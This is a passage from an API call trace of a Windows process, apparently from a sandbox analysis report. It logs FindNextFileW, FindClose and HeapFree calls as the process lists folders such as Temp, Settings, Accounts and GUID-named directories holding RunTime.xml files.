dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0281.448] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54002dee, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54002dee, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x54002dee, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0281.448] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.448] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Prov", cAlternateFileName="")) returned 0 [0281.448] FindClose (in: hFindFile=0x6ec170 | out: hFindFile=0x6ec170) returned 1 [0281.448] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.448] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", cAlternateFileName="{9DF6A~1")) returned 1 [0281.527] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0281.527] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f44caa, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f44caa, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f44caa, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0281.527] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.527] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Prov", cAlternateFileName="")) returned 0 [0281.527] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0281.528] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.528] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", cAlternateFileName="{B0B91~1")) returned 1 [0281.528] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0281.528] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66020, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66020, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66020, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0281.528] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.528] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Prov", cAlternateFileName="")) returned 0 [0281.529] FindClose (in: hFindFile=0x6ec370 | out: hFindFile=0x6ec370) returned 1 [0281.529] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.529] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{c5dc3753-b6c8-4057-b396-bf13d769311c}", cAlternateFileName="{C5DC3~1")) returned 1 [0281.530] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0281.530] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fa1af1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fa1af1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fa1af1, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x222, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0281.530] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.530] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Prov", cAlternateFileName="")) returned 0 [0281.530] FindClose (in: hFindFile=0x6ec2f0 | out: hFindFile=0x6ec2f0) returned 1 [0281.530] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.530] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b2205b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{c8a326e4-f518-4f14-b543-97a57e1a975e}", cAlternateFileName="{C8A32~1")) returned 1 [0281.842] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0281.842] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x919d3d65, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x919d3d65, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x919d3d65, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x4bf13, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0281.843] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.843] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Prov", cAlternateFileName="")) returned 0 [0281.843] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0281.843] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.843] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{ee4aac98-c174-4941-82b1-d121e493e4fb}", cAlternateFileName="{EE4AA~1")) returned 1 [0281.844] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.844] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f3fdc3, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f3fdc3, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f3fdc3, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0281.844] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.844] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Prov", cAlternateFileName="")) returned 0 [0281.844] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0281.844] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0281.844] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{f11899f2-71ec-4621-9997-e17ae2f6eb26}", cAlternateFileName="{F1189~1")) returned 1 [0281.844] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.844] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f1df76, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f1df76, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f1df76, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0281.845] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.845] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d244069, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Prov", cAlternateFileName="")) returned 0 [0281.845] FindClose (in: hFindFile=0x6ec230 | out: hFindFile=0x6ec230) returned 1 [0281.845] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0281.845] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2178e943, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2178e943, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}", cAlternateFileName="{FC01E~1")) returned 1 [0281.847] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.847] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55ce72cc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55ce72cc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x55ce72cc, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x948, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0281.847] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.847] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2178e943, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2178e943, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Prov", cAlternateFileName="")) returned 0 [0281.847] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0281.847] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0281.847] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2178e943, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2178e943, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}", cAlternateFileName="{FC01E~1")) returned 0 [0281.847] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0281.848] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0281.850] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb79dd84e, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb7a500e7, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb7a500e7, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Search", cAlternateFileName="")) returned 1 [0281.851] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.851] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ae22f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xfd58d8c3, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xfd58d8c3, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0281.851] FindClose (in: hFindFile=0x6ec230 | out: hFindFile=0x6ec230) returned 1 [0281.851] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.851] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f173b05, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2b7d74b9, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x2b7d74b9, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Temp", cAlternateFileName="")) returned 1 [0281.852] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.852] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f173b05, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2b7d74b9, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x2b7d74b9, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Temp", cAlternateFileName="")) returned 0 [0281.852] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0281.852] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0281.852] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f068b0c, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x768c9439, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x768c9439, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 0 [0281.852] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0281.852] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0281.852] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30e3b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Settings", cAlternateFileName="")) returned 1 [0281.852] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0281.853] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30ecb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accounts", cAlternateFileName="")) returned 0 [0281.853] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0281.853] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0281.853] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1dcfea0a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1dcfea0a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SmsRouter", cAlternateFileName="SMSROU~1")) returned 1 [0281.853] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0281.853] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe3607ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Spectrum", cAlternateFileName="")) returned 1 [0281.853] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0281.853] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe360d61, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Speech_OneCore", cAlternateFileName="SPEECH~1")) returned 1 [0281.853] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0281.853] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcb4dcad0, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xcb4dcad0, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Storage Health", cAlternateFileName="STORAG~1")) returned 1 [0281.854] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0281.854] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe3615f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UEV", cAlternateFileName="")) returned 1 [0281.857] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0281.857] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe469068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 